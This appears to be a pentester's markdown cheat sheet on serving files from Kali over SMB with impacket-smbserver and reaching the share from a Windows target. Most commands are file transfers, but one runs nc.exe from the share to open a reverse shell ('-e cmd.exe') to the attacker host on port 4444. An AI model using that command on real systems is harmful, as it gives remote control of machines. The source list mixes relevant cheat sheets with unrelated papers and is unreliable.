smbshare.md (3619B)
1 --- 2 title: "smbshare" 3 description: "sudo impacket-smbserver share /path/to/share" 4 category: tools 5 tags: ["tools"] 6 tools: ["Impacket", "OpenSSL"] 7 difficulty: intermediate 8 updated: "2026-08-10" 9 source: "vault:Misc/smbshare.md" 10 --- 11 # Impacket SMB Share Cheat Sheet 12 13 #Impacket #impacket-smbserver #SMB #smbshare 14 ## Basic Setup 15 16 **Start unauthenticated SMB server:** 17 ```bash 18 sudo impacket-smbserver share /path/to/share 19 ``` 20 21 **Start SMB server with SMB2 support (required for modern Windows):** 22 ```bash 23 sudo impacket-smbserver share /path/to/share -smb2support 24 ``` 25 26 **Share current directory:** 27 ```bash 28 sudo impacket-smbserver share . -smb2support 29 ``` 30 31 ## Authenticated Setup 32 33 **With username and password (recommended for Windows 10+):** 34 ```bash 35 sudo impacket-smbserver share . -smb2support -username user -password pass123 36 ``` 37 38 ## Windows Access 39 40 **View the share:** 41 ```cmd 42 net view \\10.10.14.7 43 dir \\10.10.14.7\share 44 ``` 45 46 **Authenticate first (if using credentials):** 47 ```cmd 48 net use \\10.10.14.7\share /user:user pass123 49 ``` 50 51 **Copy file TO Kali:** 52 ```cmd 53 copy file.txt \\10.10.14.7\share\ 54 ``` 55 56 **Copy file FROM Kali:** 57 ```cmd 58 copy \\10.10.14.7\share\tool.exe C:\Temp\ 59 ``` 60 61 **Execute directly from share:** 62 ```cmd 63 \\10.10.14.7\share\nc.exe -e cmd.exe 10.10.14.7 4444 64 ``` 65 66 ## Common Options 67 68 - `-smb2support` - Enable SMB2/3 protocol support 69 - `-username` - Set authentication username 70 - `-password` - Set authentication password 71 - `-debug` - Enable debug output 72 73 ## Troubleshooting 74 75 If you get "unauthenticated guest access" errors, restart with authentication enabled . 76 77 Sources 78 MDEval: Evaluating and Enhancing Markdown Awareness in Large Language 79 Models https://arxiv.org/pdf/2501.15000v1.pdf 80 Creating a vulnerable node based on the vulnerability MS17-010 http://arxiv.org/pdf/2401.14979.pdf 81 SMoTherSpectre: exploiting speculative execution through port contention http://arxiv.org/pdf/1903.01843.pdf 82 AmberMDrun: A Scripting Tool for Running Amber MD in an Easy Way https://www.mdpi.com/2218-273X/13/4/635/pdf?version=1680263131 83 SmmPack: Obfuscation for SMM Modules with TPM Sealed Key http://arxiv.org/pdf/2405.04355.pdf 84 iMIV: in-Memory Integrity Verification for NVM http://arxiv.org/pdf/2407.09180.pdf 85 Apptainer Without Setuid https://arxiv.org/pdf/2208.12106.pdf 86 Extracting the Secrets of OpenSSL with RAMBleed https://www.mdpi.com/1424-8220/22/9/3586/pdf?version=1652080720 87 Impacket Cheatsheet https://rgbwiki.com/Red%20Cell/14.%20Cheatsheets/Tools/Impacket%20Cheatsheet/ 88 Impacket Cheatsheet https://www.blackhillsinfosec.com/impacket-cheatsheet/ 89 Impacket - Offensive Security Cheatsheet https://cheatsheet.haax.fr/windows-systems/exploitation/impacket/ 90 Zamanry/OSCP_Cheatsheet: OSCP Cheatsheet https://github.com/Zamanry/OSCP_Cheatsheet 91 OSCP Cheat Sheet and Command Reference https://casvancooten.com/posts/2020/05/oscp-cheat-sheet-and-command-reference/ 92 Impacket Cheat Sheet for Pentesters https://nerdgigs.blog/2025/06/08/impacket-cheat-sheet-for-pentesters/ 93 Impacket Exec Commands Cheat Sheet Poster https://cdn.13cubed.com/downloads/impacket_exec_commands_cheat_sheet_poster.pdf 94 Impacket https://www.blackhillsinfosec.com/wp-content/uploads/2025/08/CheetSheet_Impacket-1.pdf 95 OSCP Cheat Sheet | PDF https://www.scribd.com/document/693810531/OSCP-Cheat-Sheet 96 File Transfer Cheatsheet For Pentesters https://blog.certcube.com/file-transfer-cheatsheet-for-pentesters/ 97 File Transfer - Offensive Security Cheatsheet https://cheatsheet.haax.fr/windows-systems/exploitation/file_transfer/ 98 SMB Enumeration Cheatsheet | 0xdf hacks stuff - GitLab https://0xdf.gitlab.io/cheatsheets/smb-enum